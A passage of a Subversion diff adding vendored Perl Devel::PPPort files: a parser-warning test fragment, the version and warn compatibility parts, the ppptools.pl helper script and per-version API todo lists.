+    ok(&Devel::PPPort::dummy_parser_warning());
+  }
+  if ($] >= 5.009005) {
+    ok(@w >= 0);
+    for (@w) {
+      print "# $_";
+      unless (/^warning: dummy PL_bufptr used in.*module3.*:\d+/i) {
+        warn $_;
+        $fail++;
+      }
+    }
+  }
+  else {
+    ok(@w == 0);
+  }
+  ok($fail, 0);
+}
+
+ok(&Devel::PPPort::no_dummy_parser_vars(1) >= ($] < 5.009005 ? 1 : 0));
+
+eval { &Devel::PPPort::no_dummy_parser_vars(0) };
+
+if ($] < 5.009005) {
+  ok($@, '');
+}
+else {
+  if ($@) {
+    print "# $@";
+    ok($@ =~ /^panic: PL_parser == NULL in.*module2.*:\d+/i);
+  }
+  else {
+    ok(1);
+  }
+}

Added: vendor/perl/dist/dist/Devel-PPPort/parts/inc/version
===================================================================
--- vendor/perl/dist/dist/Devel-PPPort/parts/inc/version	                        (rev 0)
+++ vendor/perl/dist/dist/Devel-PPPort/parts/inc/version	2018-12-22 22:55:19 UTC (rev 12126)
@@ -0,0 +1,51 @@
+################################################################################
+##
+##  Version 3.x, Copyright (C) 2004-2013, Marcus Holland-Moritz.
+##  Version 2.x, Copyright (C) 2001, Paul Marquess.
+##  Version 1.x, Copyright (C) 1999, Kenneth Albanowski.
+##
+##  This program is free software; you can redistribute it and/or
+##  modify it under the same terms as Perl itself.
+##
+################################################################################
+
+=provides
+
+PERL_REVISION
+PERL_VERSION
+PERL_SUBVERSION
+PERL_BCDVERSION
+
+=dontwarn
+
+PERL_PATCHLEVEL_H_IMPLICIT
+
+=implementation
+
+#ifndef PERL_REVISION
+#  if !defined(__PATCHLEVEL_H_INCLUDED__) && !(defined(PATCHLEVEL) && defined(SUBVERSION))
+#    define PERL_PATCHLEVEL_H_IMPLICIT
+#    include <patchlevel.h>
+#  endif
+#  if !(defined(PERL_VERSION) || (defined(SUBVERSION) && defined(PATCHLEVEL)))
+#    include <could_not_find_Perl_patchlevel.h>
+#  endif
+#  ifndef PERL_REVISION
+#    define PERL_REVISION       (5)
+     /* Replace: 1 */
+#    define PERL_VERSION        PATCHLEVEL
+#    define PERL_SUBVERSION     SUBVERSION
+     /* Replace PERL_PATCHLEVEL with PERL_VERSION */
+     /* Replace: 0 */
+#  endif
+#endif
+
+#define D_PPP_DEC2BCD(dec) ((((dec)/100)<<8)|((((dec)%100)/10)<<4)|((dec)%10))
+#define PERL_BCDVERSION ((D_PPP_DEC2BCD(PERL_REVISION)<<24)|(D_PPP_DEC2BCD(PERL_VERSION)<<12)|D_PPP_DEC2BCD(PERL_SUBVERSION))
+
+/* It is very unlikely that anyone will try to use this with Perl 6
+   (or greater), but who knows.
+ */
+#if PERL_REVISION != 5
+#  error ppport.h only works with Perl version 5
+#endif /* PERL_REVISION != 5 */

Added: vendor/perl/dist/dist/Devel-PPPort/parts/inc/warn
===================================================================
--- vendor/perl/dist/dist/Devel-PPPort/parts/inc/warn	                        (rev 0)
+++ vendor/perl/dist/dist/Devel-PPPort/parts/inc/warn	2018-12-22 22:55:19 UTC (rev 12126)
@@ -0,0 +1,168 @@
+################################################################################
+##
+##  Version 3.x, Copyright (C) 2004-2013, Marcus Holland-Moritz.
+##  Version 2.x, Copyright (C) 2001, Paul Marquess.
+##  Version 1.x, Copyright (C) 1999, Kenneth Albanowski.
+##
+##  This program is free software; you can redistribute it and/or
+##  modify it under the same terms as Perl itself.
+##
+################################################################################
+
+=provides
+
+__UNDEFINED__
+ckWARN
+warner
+Perl_warner
+Perl_warner_nocontext
+
+=implementation
+
+__UNDEFINED__  WARN_ALL                 0
+__UNDEFINED__  WARN_CLOSURE             1
+__UNDEFINED__  WARN_DEPRECATED          2
+__UNDEFINED__  WARN_EXITING             3
+__UNDEFINED__  WARN_GLOB                4
+__UNDEFINED__  WARN_IO                  5
+__UNDEFINED__  WARN_CLOSED              6
+__UNDEFINED__  WARN_EXEC                7
+__UNDEFINED__  WARN_LAYER               8
+__UNDEFINED__  WARN_NEWLINE             9
+__UNDEFINED__  WARN_PIPE                10
+__UNDEFINED__  WARN_UNOPENED            11
+__UNDEFINED__  WARN_MISC                12
+__UNDEFINED__  WARN_NUMERIC             13
+__UNDEFINED__  WARN_ONCE                14
+__UNDEFINED__  WARN_OVERFLOW            15
+__UNDEFINED__  WARN_PACK                16
+__UNDEFINED__  WARN_PORTABLE            17
+__UNDEFINED__  WARN_RECURSION           18
+__UNDEFINED__  WARN_REDEFINE            19
+__UNDEFINED__  WARN_REGEXP              20
+__UNDEFINED__  WARN_SEVERE              21
+__UNDEFINED__  WARN_DEBUGGING           22
+__UNDEFINED__  WARN_INPLACE             23
+__UNDEFINED__  WARN_INTERNAL            24
+__UNDEFINED__  WARN_MALLOC              25
+__UNDEFINED__  WARN_SIGNAL              26
+__UNDEFINED__  WARN_SUBSTR              27
+__UNDEFINED__  WARN_SYNTAX              28
+__UNDEFINED__  WARN_AMBIGUOUS           29
+__UNDEFINED__  WARN_BAREWORD            30
+__UNDEFINED__  WARN_DIGIT               31
+__UNDEFINED__  WARN_PARENTHESIS         32
+__UNDEFINED__  WARN_PRECEDENCE          33
+__UNDEFINED__  WARN_PRINTF              34
+__UNDEFINED__  WARN_PROTOTYPE           35
+__UNDEFINED__  WARN_QW                  36
+__UNDEFINED__  WARN_RESERVED            37
+__UNDEFINED__  WARN_SEMICOLON           38
+__UNDEFINED__  WARN_TAINT               39
+__UNDEFINED__  WARN_THREADS             40
+__UNDEFINED__  WARN_UNINITIALIZED       41
+__UNDEFINED__  WARN_UNPACK              42
+__UNDEFINED__  WARN_UNTIE               43
+__UNDEFINED__  WARN_UTF8                44
+__UNDEFINED__  WARN_VOID                45
+__UNDEFINED__  WARN_ASSERTIONS          46
+
+__UNDEFINED__  packWARN(a)              (a)
+
+#ifndef ckWARN
+#  ifdef G_WARN_ON
+#    define  ckWARN(a)                  (PL_dowarn & G_WARN_ON)
+#  else
+#    define  ckWARN(a)                  PL_dowarn
+#  endif
+#endif
+
+#if { VERSION >= 5.004 } && !defined(warner)
+#if { NEED warner }
+
+void
+warner(U32 err, const char *pat, ...)
+{
+  SV *sv;
+  va_list args;
+
+  PERL_UNUSED_ARG(err);
+
+  va_start(args, pat);
+  sv = vnewSVpvf(pat, &args);
+  va_end(args);
+  sv_2mortal(sv);
+  warn("%s", SvPV_nolen(sv));
+}
+
+#define warner  Perl_warner
+
+#define Perl_warner_nocontext  Perl_warner
+
+#endif
+#endif
+
+=xsinit
+
+#define NEED_warner
+
+=xsubs
+
+void
+warner()
+        CODE:
+#if { VERSION >= 5.004 }
+                warner(packWARN(WARN_MISC), "warner %s:%d", "bar", 42);
+#endif
+
+void
+Perl_warner()
+        CODE:
+#if { VERSION >= 5.004 }
+                Perl_warner(aTHX_ packWARN(WARN_MISC), "Perl_warner %s:%d", "bar", 42);
+#endif
+
+void
+Perl_warner_nocontext()
+        CODE:
+#if { VERSION >= 5.004 }
+                Perl_warner_nocontext(packWARN(WARN_MISC), "Perl_warner_nocontext %s:%d", "bar", 42);
+#endif
+
+void
+ckWARN()
+        CODE:
+#if { VERSION >= 5.004 }
+                if (ckWARN(WARN_MISC))
+                  Perl_warner_nocontext(packWARN(WARN_MISC), "ckWARN %s:%d", "bar", 42);
+#endif
+
+=tests plan => 5
+
+$^W = 0;
+
+my $warning;
+
+$SIG{'__WARN__'} = sub { $warning = $_[0] };
+
+$warning = '';
+Devel::PPPort::warner();
+ok($] >= 5.004 ? $warning =~ /^warner bar:42/ : $warning eq '');
+
+$warning = '';
+Devel::PPPort::Perl_warner();
+ok($] >= 5.004 ? $warning =~ /^Perl_warner bar:42/ : $warning eq '');
+
+$warning = '';
+Devel::PPPort::Perl_warner_nocontext();
+ok($] >= 5.004 ? $warning =~ /^Perl_warner_nocontext bar:42/ : $warning eq '');
+
+$warning = '';
+Devel::PPPort::ckWARN();
+ok($warning, '');
+
+$^W = 1;
+
+$warning = '';
+Devel::PPPort::ckWARN();
+ok($] >= 5.004 ? $warning =~ /^ckWARN bar:42/ : $warning eq '');

Added: vendor/perl/dist/dist/Devel-PPPort/parts/ppport.fnc
===================================================================
--- vendor/perl/dist/dist/Devel-PPPort/parts/ppport.fnc	                        (rev 0)
+++ vendor/perl/dist/dist/Devel-PPPort/parts/ppport.fnc	2018-12-22 22:55:19 UTC (rev 12126)
@@ -0,0 +1,23 @@
+::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
+:
+:  Perl/Pollution/Portability
+:
+::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
+:
+:  Version 3.x, Copyright (C) 2004-2013, Marcus Holland-Moritz.
+:  Version 2.x, Copyright (C) 2001, Paul Marquess.
+:  Version 1.x, Copyright (C) 1999, Kenneth Albanowski.
+:
+:  This program is free software; you can redistribute it and/or
+:  modify it under the same terms as Perl itself.
+:
+::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
+
+:
+: This file lists all API functions/macros that are provided purely
+: by Devel::PPPort. It is in the same format as the F<embed.fnc> that
+: ships with the Perl source code.
+:
+
+Am      |void   |sv_magic_portable|NN SV* sv|NULLOK SV* obj|int how|NULLOK const char* name \
+                                |I32 namlen

Added: vendor/perl/dist/dist/Devel-PPPort/parts/ppptools.pl
===================================================================
--- vendor/perl/dist/dist/Devel-PPPort/parts/ppptools.pl	                        (rev 0)
+++ vendor/perl/dist/dist/Devel-PPPort/parts/ppptools.pl	2018-12-22 22:55:19 UTC (rev 12126)
@@ -0,0 +1,404 @@
+################################################################################
+#
+#  ppptools.pl -- various utility functions
+#
+################################################################################
+#
+#  Version 3.x, Copyright (C) 2004-2013, Marcus Holland-Moritz.
+#  Version 2.x, Copyright (C) 2001, Paul Marquess.
+#  Version 1.x, Copyright (C) 1999, Kenneth Albanowski.
+#
+#  This program is free software; you can redistribute it and/or
+#  modify it under the same terms as Perl itself.
+#
+################################################################################
+
+sub cat_file
+{
+  eval { require File::Spec };
+  return $@ ? join('/', @_) : File::Spec->catfile(@_);
+}
+
+sub all_files_in_dir
+{
+  my $dir = shift;
+  local *DIR;
+
+  opendir DIR, $dir or die "cannot open directory $dir: $!\n";
+  my @files = grep { !-d && !/^\./ } readdir DIR;  # no dirs or hidden files
+  closedir DIR;
+
+  return map { cat_file($dir, $_) } sort @files;
+}
+
+sub parse_todo
+{
+  my $dir = shift || 'parts/todo';
+  local *TODO;
+  my %todo;
+  my $todo;
+
+  for $todo (all_files_in_dir($dir)) {
+    open TODO, $todo or die "cannot open $todo: $!\n";
+    my $perl = <TODO>;
+    chomp $perl;
+    while (<TODO>) {
+      chomp;
+      s/#.*//;
+      s/^\s+//; s/\s+$//;
+      /^\s*$/ and next;
+      /^\w+$/ or die "invalid identifier: $_\n";
+      exists $todo{$_} and die "duplicate identifier: $_ ($todo{$_} <=> $perl)\n";
+      $todo{$_} = $perl;
+    }
+    close TODO;
+  }
+
+  return \%todo;
+}
+
+sub expand_version
+{
+  my($op, $ver) = @_;
+  my($r, $v, $s) = parse_version($ver);
+  $r == 5 or die "only Perl revision 5 is supported\n";
+  my $bcdver = sprintf "0x%d%03d%03d", $r, $v, $s;
+  return "(PERL_BCDVERSION $op $bcdver)";
+}
+
+sub parse_partspec
+{
+  my $file = shift;
+  my $section = 'implementation';
+  my $vsec = join '|', qw( provides dontwarn implementation
+                           xsubs xsinit xsmisc xshead xsboot tests );
+  my(%data, %options);
+  local *F;
+
+  open F, $file or die "$file: $!\n";
+  while (<F>) {
+    /[ \t]+$/ and warn "$file:$.: warning: trailing whitespace\n";
+    if ($section eq 'implementation') {
+      m!//! && !m!(?:=~|s/).*//! && !m!(?:ht|f)tp(?:s)://!
+          and warn "$file:$.: warning: potential C++ comment\n";
+    }
+    /^##/ and next;
+    if (/^=($vsec)(?:\s+(.*))?/) {
+      $section = $1;
+      if (defined $2) {
+        my $opt = $2;
+        $options{$section} = eval "{ $opt }";
+        $@ and die "$file:$.: invalid options ($opt) in section $section: $@\n";
+      }
+      next;
+    }
+    push @{$data{$section}}, $_;
+  }
+  close F;
+
+  for (keys %data) {
+    my @v = @{$data{$_}};
+    shift @v while @v && $v[0]  =~ /^\s*$/;
+    pop   @v while @v && $v[-1] =~ /^\s*$/;
+    $data{$_} = join '', @v;
+  }
+
+  unless (exists $data{provides}) {
+    $data{provides} = ($file =~ /(\w+)\.?$/)[0];
+  }
+  $data{provides} = [$data{provides} =~ /(\S+)/g];
+
+  if (exists $data{dontwarn}) {
+    $data{dontwarn} = [$data{dontwarn} =~ /(\S+)/g];
+  }
+
+  my @prov;
+  my %proto;
+
+  if (exists $data{tests} && (!exists $data{implementation} || $data{implementation} !~ /\S/)) {
+    $data{implementation} = '';
+  }
+  else {
+    $data{implementation} =~ /\S/ or die "Empty implementation in $file\n";
+
+    my $p;
+
+    for $p (@{$data{provides}}) {
+      if ($p =~ m#^/.*/\w*$#) {
+        my @tmp = eval "\$data{implementation} =~ ${p}gm";
+        $@ and die "invalid regex $p in $file\n";
+        @tmp or warn "no matches for regex $p in $file\n";
+        push @prov, do { my %h; grep !$h{$_}++, @tmp };
+      }
+      elsif ($p eq '__UNDEFINED__') {
+        my @tmp = $data{implementation} =~ /^\s*__UNDEFINED__[^\r\n\S]+(\w+)/gm;
+        @tmp or warn "no __UNDEFINED__ macros in $file\n";
+        push @prov, @tmp;
+      }
+      else {
+        push @prov, $p;
+      }
+    }
+
+    for (@prov) {
+      if ($data{implementation} !~ /\b\Q$_\E\b/) {
+        warn "$file claims to provide $_, but doesn't seem to do so\n";
+        next;
+      }
+
+      # scan for prototypes
+      my($proto) = $data{implementation} =~ /
+                   ( ^ (?:[\w*]|[^\S\r\n])+
+                       [\r\n]*?
+                     ^ \b$_\b \s*
+                       \( [^{]* \)
+                   )
+                       \s* \{
+                   /xm or next;
+
+      $proto =~ s/^\s+//;
+      $proto =~ s/\s+$//;
+      $proto =~ s/\s+/ /g;
+
+      exists $proto{$_} and warn "$file: duplicate prototype for $_\n";
+      $proto{$_} = $proto;
+    }
+  }
+
+  for $section (qw( implementation xsubs xsinit xsmisc xshead xsboot )) {
+    if (exists $data{$section}) {
+      $data{$section} =~ s/\{\s*version\s*(<|>|==|!=|>=|<=)\s*([\d._]+)\s*\}/expand_version($1, $2)/gei;
+    }
+  }
+
+  $data{provides}   = \@prov;
+  $data{prototypes} = \%proto;
+  $data{OPTIONS}    = \%options;
+
+  my %prov     = map { ($_ => 1) } @prov;
+  my %dontwarn = exists $data{dontwarn} ? map { ($_ => 1) } @{$data{dontwarn}} : ();
+  my @maybeprov = do { my %h;
+                       grep {
+                         my($nop) = /^Perl_(.*)/;
+                         not exists $prov{$_}                         ||
+                             exists $dontwarn{$_}                     ||
+                             /^D_PPP_/                                ||
+                             (defined $nop && exists $prov{$nop}    ) ||
+                             (defined $nop && exists $dontwarn{$nop}) ||
+                             $h{$_}++;
+                       }
+                       $data{implementation} =~ /^\s*#\s*define\s+(\w+)/gm };
+
+  if (@maybeprov) {
+    warn "$file seems to provide these macros, but doesn't list them:\n  "
+         . join("\n  ", @maybeprov) . "\n";
+  }
+
+  return \%data;
+}
+
+sub compare_prototypes
+{
+  my($p1, $p2) = @_;
+  for ($p1, $p2) {
+    s/^\s+//;
+    s/\s+$//;
+    s/\s+/ /g;
+    s/(\w)\s(\W)/$1$2/g;
+    s/(\W)\s(\w)/$1$2/g;
+  }
+  return $p1 cmp $p2;
+}
+
+sub ppcond
+{
+  my $s = shift;
+  my @c;
+  my $p;
+
+  for $p (@$s) {
+    push @c, map "!($_)", @{$p->{pre}};
+    defined $p->{cur} and push @c, "($p->{cur})";
+  }
+
+  join " && ", @c;
+}
+
+sub trim_arg
+{
+  my $in = shift;
+  my $remove = join '|', qw( NN NULLOK VOL );
+
+  $in eq '...' and return ($in);
+
+  local $_ = $in;
+  my $id;
+
+  s/[*()]/ /g;
+  s/\[[^\]]*\]/ /g;
+  s/\b(?:auto|const|extern|inline|register|static|volatile|restrict)\b//g;
+  s/\b(?:$remove)\b//;
+  s/^\s*//; s/\s*$//;
+
+  if( /^\b(?:struct|union|enum)\s+\w+(?:\s+(\w+))?$/ ) {
+    defined $1 and $id = $1;
+  }
+  else {
+    if( s/\b(?:char|double|float|int|long|short|signed|unsigned|void)\b//g ) {
+      /^\s*(\w+)\s*$/ and $id = $1;
+    }
+    else {
+      /^\s*\w+\s+(\w+)\s*$/ and $id = $1;
+    }
+  }
+
+  $_ = $in;
+
+  defined $id and s/\b$id\b//;
+
+  # these don't matter at all
+  s/\b(?:auto|extern|inline|register|static|volatile|restrict)\b//g;
+  s/\b(?:$remove)\b//;
+
+  s/(?=<\*)\s+(?=\*)//g;
+  s/\s*(\*+)\s*/ $1 /g;
+  s/^\s*//; s/\s*$//;
+  s/\s+/ /g;
+
+  return ($_, $id);
+}
+
+sub parse_embed
+{
+  my @files = @_;
+  my @func;
+  my @pps;
+  my $file;
+  local *FILE;
+
+  for $file (@files) {
+    open FILE, $file or die "$file: $!\n";
+    my($line, $l);
+
+    while (defined($line = <FILE>)) {
+      while ($line =~ /\\$/ && defined($l = <FILE>)) {
+        $line =~ s/\\\s*//;
+        $line .= $l;
+      }
+      next if $line =~ /^\s*:/;
+      $line =~ s/^\s+|\s+$//gs;
+      my($dir, $args) = ($line =~ /^\s*#\s*(\w+)(?:\s*(.*?)\s*)?$/);
+      if (defined $dir and defined $args) {
+        for ($dir) {
+          /^ifdef$/   and do { push @pps, { pre => [], cur => "defined($args)"  }         ; last };
+          /^ifndef$/  and do { push @pps, { pre => [], cur => "!defined($args)" }         ; last };
+          /^if$/      and do { push @pps, { pre => [], cur => $args             }         ; last };
+          /^elif$/    and do { push @{$pps[-1]{pre}}, $pps[-1]{cur}; $pps[-1]{cur} = $args; last };
+          /^else$/    and do { push @{$pps[-1]{pre}}, $pps[-1]{cur}; $pps[-1]{cur} = undef; last };
+          /^endif$/   and do { pop @pps                                                   ; last };
+          /^include$/ and last;
+          /^define$/  and last;
+          /^undef$/   and last;
+          warn "unhandled preprocessor directive: $dir\n";
+        }
+      }
+      else {
+        my @e = split /\s*\|\s*/, $line;
+        if( @e >= 3 ) {
+          my($flags, $ret, $name, @args) = @e;
+          if ($name =~ /^[^\W\d]\w*$/) {
+            for (@args) {
+              $_ = [trim_arg($_)];
+            }
+            ($ret) = trim_arg($ret);
+            push @func, {
+              name  => $name,
+              flags => { map { $_, 1 } $flags =~ /./g },
+              ret   => $ret,
+              args  => \@args,
+              cond  => ppcond(\@pps),
+            };
+          }
+          elsif ($name =~ /^[^\W\d]\w*-E<gt>[^\W\d]\w*$/) {
+            # silenty ignore entries of the form
+            #    PL_parser-E<gt>linestr
+            # which documents a struct entry rather than a function
+          }
+          else {
+            warn "mysterious name [$name] in $file, line $.\n";
+          }
+        }
+      }
+    }
+
+    close FILE;
+  }
+
+  return @func;
+}
+
+sub make_prototype
+{
+  my $f = shift;
+  my @args = map { "@$_" } @{$f->{args}};
+  my $proto;
+  my $pTHX_ = exists $f->{flags}{n} ? "" : "pTHX_ ";
+  $proto = "$f->{ret} $f->{name}" . "($pTHX_" . join(', ', @args) . ')';
+  return $proto;
+}
+
+sub format_version
+{
+  my $ver = shift;
+
+  $ver =~ s/$/000000/;
+  my($r,$v,$s) = $ver =~ /(\d+)\.(\d{3})(\d{3})/;
+
+  $v = int $v;
+  $s = int $s;
+
+  if ($r < 5 || ($r == 5 && $v < 6)) {
+    if ($s % 10) {
+      die "invalid version '$ver'\n";
+    }
+    $s /= 10;
+
+    $ver = sprintf "%d.%03d", $r, $v;
+    $s > 0 and $ver .= sprintf "_%02d", $s;
+
+    return $ver;
+  }
+
+  return sprintf "%d.%d.%d", $r, $v, $s;
+}
+
+sub parse_version
+{
+  my $ver = shift;
+
+  if ($ver =~ /^(\d+)\.(\d+)\.(\d+)$/) {
+    return ($1, $2, $3);
+  }
+  elsif ($ver !~ /^\d+\.[\d_]+$/) {
+    die "cannot parse version '$ver'\n";
+  }
+
+  $ver =~ s/_//g;
+  $ver =~ s/$/000000/;
+
+  my($r,$v,$s) = $ver =~ /(\d+)\.(\d{3})(\d{3})/;
+
+  $v = int $v;
+  $s = int $s;
+
+  if ($r < 5 || ($r == 5 && $v < 6)) {
+    if ($s % 10) {
+      die "cannot parse version '$ver'\n";
+    }
+    $s /= 10;
+  }
+
+  return ($r, $v, $s);
+}
+
+1;

Added: vendor/perl/dist/dist/Devel-PPPort/parts/todo/5003070
===================================================================
--- vendor/perl/dist/dist/Devel-PPPort/parts/todo/5003070	                        (rev 0)
+++ vendor/perl/dist/dist/Devel-PPPort/parts/todo/5003070	2018-12-22 22:55:19 UTC (rev 12126)
@@ -0,0 +1,21 @@
+5.003070
+HeHASH                         # U
+HeKEY                          # U
+HeKLEN                         # U
+HeSVKEY                        # U
+HeSVKEY_force                  # U
+HeVAL                          # U
+cv_const_sv                    # U
+do_open                        # E (Perl_do_open)
+gv_efullname3                  # U
+gv_fullname3                   # U
+hv_delete_ent                  # U
+hv_exists_ent                  # U
+hv_fetch_ent                   # U
+hv_iterkeysv                   # U
+hv_ksplit                      # U
+hv_store_ent                   # U
+my_pclose                      # E (Perl_my_pclose)
+my_popen                       # E (Perl_my_popen)
+sv_gets                        # E (Perl_sv_gets)
+unsharepvn                     # U

Added: vendor/perl/dist/dist/Devel-PPPort/parts/todo/5004000
===================================================================
--- vendor/perl/dist/dist/Devel-PPPort/parts/todo/5004000	                        (rev 0)
+++ vendor/perl/dist/dist/Devel-PPPort/parts/todo/5004000	2018-12-22 22:55:19 UTC (rev 12126)
@@ -0,0 +1,51 @@
+5.004000
+GIMME_V                        # E
+G_VOID                         # E
+HePV                           # A
+HeSVKEY_set                    # U
+POPu                           # E
+SvSetMagicSV                   # U
+SvSetMagicSV_nosteal           # U
+SvSetSV_nosteal                # U
+SvTAINTED                      # U
+SvTAINTED_off                  # U
+SvTAINTED_on                   # U
+block_end                      # E (Perl_block_end)
+block_gimme                    # U
+block_start                    # E (Perl_block_start)
+call_list                      # U
+delimcpy                       # U
+form                           # U
+gv_autoload4                   # U
+gv_fetchmethod_autoload        # U
+hv_delayfree_ent               # U
+hv_free_ent                    # U
+ibcmp_locale                   # U
+intro_my                       # U
+my_failure_exit                # U
+newSVpvf                       # U
+rsignal                        # E
+rsignal_state                  # E
+save_I16                       # U
+save_gp                        # U
+share_hek                      # E
+start_subparse                 # E (Perl_start_subparse)
+sv_catpvf                      # U
+sv_catpvf_mg                   # U
+sv_cmp_locale                  # U
+sv_derived_from                # U
+sv_magic_portable              # U
+sv_setpvf                      # U
+sv_setpvf_mg                   # U
+sv_taint                       # U
+sv_tainted                     # U
+sv_untaint                     # U
+sv_vcatpvf                     # U
+sv_vcatpvf_mg                  # U
+sv_vcatpvfn                    # U
+sv_vsetpvf                     # U
+sv_vsetpvf_mg                  # U
+sv_vsetpvfn                    # U
+toLOWER_LC                     # U
+vnewSVpvf                      # U
+warner                         # U

Added: vendor/perl/dist/dist/Devel-PPPort/parts/todo/5004010
===================================================================
--- vendor/perl/dist/dist/Devel-PPPort/parts/todo/5004010	                        (rev 0)
+++ vendor/perl/dist/dist/Devel-PPPort/parts/todo/5004010	2018-12-22 22:55:19 UTC (rev 12126)
@@ -0,0 +1 @@
+5.004010

Added: vendor/perl/dist/dist/Devel-PPPort/parts/todo/5004020
===================================================================
--- vendor/perl/dist/dist/Devel-PPPort/parts/todo/5004020	                        (rev 0)
+++ vendor/perl/dist/dist/Devel-PPPort/parts/todo/5004020	2018-12-22 22:55:19 UTC (rev 12126)
@@ -0,0 +1 @@
+5.004020

Added: vendor/perl/dist/dist/Devel-PPPort/parts/todo/5004030
===================================================================
--- vendor/perl/dist/dist/Devel-PPPort/parts/todo/5004030	                        (rev 0)
+++ vendor/perl/dist/dist/Devel-PPPort/parts/todo/5004030	2018-12-22 22:55:19 UTC (rev 12126)
@@ -0,0 +1 @@
+5.004030

Added: vendor/perl/dist/dist/Devel-PPPort/parts/todo/5004040
===================================================================
--- vendor/perl/dist/dist/Devel-PPPort/parts/todo/5004040	                        (rev 0)
+++ vendor/perl/dist/dist/Devel-PPPort/parts/todo/5004040	2018-12-22 22:55:19 UTC (rev 12126)
@@ -0,0 +1 @@
+5.004040

Added: vendor/perl/dist/dist/Devel-PPPort/parts/todo/5004050
===================================================================
--- vendor/perl/dist/dist/Devel-PPPort/parts/todo/5004050	                        (rev 0)
+++ vendor/perl/dist/dist/Devel-PPPort/parts/todo/5004050	2018-12-22 22:55:19 UTC (rev 12126)
@@ -0,0 +1,7 @@
+5.004050
+CopyD                          # E
+MoveD                          # E
+do_binmode                     # U
+my_bcopy                       # U
+save_aelem                     # U
+save_helem                     # U

Added: vendor/perl/dist/dist/Devel-PPPort/parts/todo/5005000
===================================================================
--- vendor/perl/dist/dist/Devel-PPPort/parts/todo/5005000	                        (rev 0)
+++ vendor/perl/dist/dist/Devel-PPPort/parts/todo/5005000	2018-12-22 22:55:19 UTC (rev 12126)
@@ -0,0 +1,28 @@
+5.005000
+PL_curpad                      # E
+PL_modglobal                   # E
+cx_dump                        # U
+debop                          # U
+debprofdump                    # U
+fbm_compile                    # E (Perl_fbm_compile)
+fbm_instr                      # E (Perl_fbm_instr)
+get_op_descs                   # U
+get_op_names                   # U
+init_stacks                    # U
+mg_length                      # U
+mg_size                        # U
+newHVhv                        # U
+new_stackinfo                  # E
+regdump                        # U
+regexec_flags                  # U
+regnext                        # E (Perl_regnext)
+runops_debug                   # U
+runops_standard                # U
+save_iv                        # U (save_iv)
+save_op                        # U
+sv_iv                          # U
+sv_nv                          # U
+sv_peek                        # U
+sv_pvn                         # U
+sv_pvn_nomg                    # U
+sv_true                        # U

Added: vendor/perl/dist/dist/Devel-PPPort/parts/todo/5005010
===================================================================
--- vendor/perl/dist/dist/Devel-PPPort/parts/todo/5005010	                        (rev 0)
+++ vendor/perl/dist/dist/Devel-PPPort/parts/todo/5005010	2018-12-22 22:55:19 UTC (rev 12126)
@@ -0,0 +1 @@
+5.005010

Added: vendor/perl/dist/dist/Devel-PPPort/parts/todo/5005020
===================================================================
--- vendor/perl/dist/dist/Devel-PPPort/parts/todo/5005020	                        (rev 0)
+++ vendor/perl/dist/dist/Devel-PPPort/parts/todo/5005020	2018-12-22 22:55:19 UTC (rev 12126)
@@ -0,0 +1 @@
+5.005020

Added: vendor/perl/dist/dist/Devel-PPPort/parts/todo/5005030
===================================================================
--- vendor/perl/dist/dist/Devel-PPPort/parts/todo/5005030	                        (rev 0)
+++ vendor/perl/dist/dist/Devel-PPPort/parts/todo/5005030	2018-12-22 22:55:19 UTC (rev 12126)
@@ -0,0 +1,4 @@
+5.005030
+POPpx                          # E
+get_vtbl                       # U
+save_generic_svref             # U

Added: vendor/perl/dist/dist/Devel-PPPort/parts/todo/5005040
===================================================================
--- vendor/perl/dist/dist/Devel-PPPort/parts/todo/5005040	                        (rev 0)
+++ vendor/perl/dist/dist/Devel-PPPort/parts/todo/5005040	2018-12-22 22:55:19 UTC (rev 12126)
@@ -0,0 +1 @@
+5.005040

Added: vendor/perl/dist/dist/Devel-PPPort/parts/todo/5006000
===================================================================
--- vendor/perl/dist/dist/Devel-PPPort/parts/todo/5006000	                        (rev 0)
+++ vendor/perl/dist/dist/Devel-PPPort/parts/todo/5006000	2018-12-22 22:55:19 UTC (rev 12126)
@@ -0,0 +1,150 @@
+5.006000
+DO_UTF8                        # U
+PERL_SYS_INIT3                 # U
+PL_check                       # E
+POPul                          # E
+SvIOK_UV                       # U
+SvIOK_notUV                    # U
+SvIOK_only_UV                  # U
+SvPOK_only_UTF8                # U
+SvPVbyte_nolen                 # U
+SvPVbytex                      # U
+SvPVbytex_force                # U
+SvPVutf8                       # U
+SvPVutf8_force                 # U
+SvPVutf8_nolen                 # U
+SvPVutf8x                      # U
+SvPVutf8x_force                # U
+SvUOK                          # U
+SvUTF8                         # U
+SvUTF8_off                     # U
+SvUTF8_on                      # U
+UTF8SKIP                       # U
+av_delete                      # U
+av_exists                      # U
+call_atexit                    # E
+caller_cx                      # U
+cast_i32                       # U (cast_i32)
+cast_iv                        # U (cast_iv)
+cast_ulong                     # U
+cast_uv                        # U (cast_uv)
+do_gv_dump                     # U
+do_gvgv_dump                   # U
+do_hv_dump                     # U
+do_magic_dump                  # U
+do_op_dump                     # U
+do_open9                       # U
+do_pmop_dump                   # U
+do_sv_dump                     # U
+dump_all                       # U
+dump_eval                      # U
+dump_form                      # U
+dump_indent                    # U
+dump_packsubs                  # U
+dump_sub                       # U
+dump_vindent                   # U
+get_context                    # U
+get_ppaddr                     # E
+gv_dump                        # U
+init_i18nl10n                  # U (perl_init_i18nl10n)
+init_i18nl14n                  # U (perl_init_i18nl14n)
+is_uni_alnum                   # U
+is_uni_alnum_lc                # U
+is_uni_alpha                   # U
+is_uni_alpha_lc                # U
+is_uni_ascii                   # U
+is_uni_ascii_lc                # U
+is_uni_cntrl                   # U
+is_uni_cntrl_lc                # U
+is_uni_digit                   # U
+is_uni_digit_lc                # U
+is_uni_graph                   # U
+is_uni_graph_lc                # U
+is_uni_idfirst                 # U
+is_uni_idfirst_lc              # U
+is_uni_lower                   # U
+is_uni_lower_lc                # U
+is_uni_print                   # U
+is_uni_print_lc                # U
+is_uni_punct                   # U
+is_uni_punct_lc                # U
+is_uni_space                   # U
+is_uni_space_lc                # U
+is_uni_upper                   # U
+is_uni_upper_lc                # U
+is_uni_xdigit                  # U
+is_uni_xdigit_lc               # U
+is_utf8_alnum                  # U
+is_utf8_alpha                  # U
+is_utf8_ascii                  # U
+is_utf8_char                   # U
+is_utf8_cntrl                  # U
+is_utf8_digit                  # U
+is_utf8_graph                  # U
+is_utf8_idfirst                # U
+is_utf8_lower                  # U
+is_utf8_mark                   # U
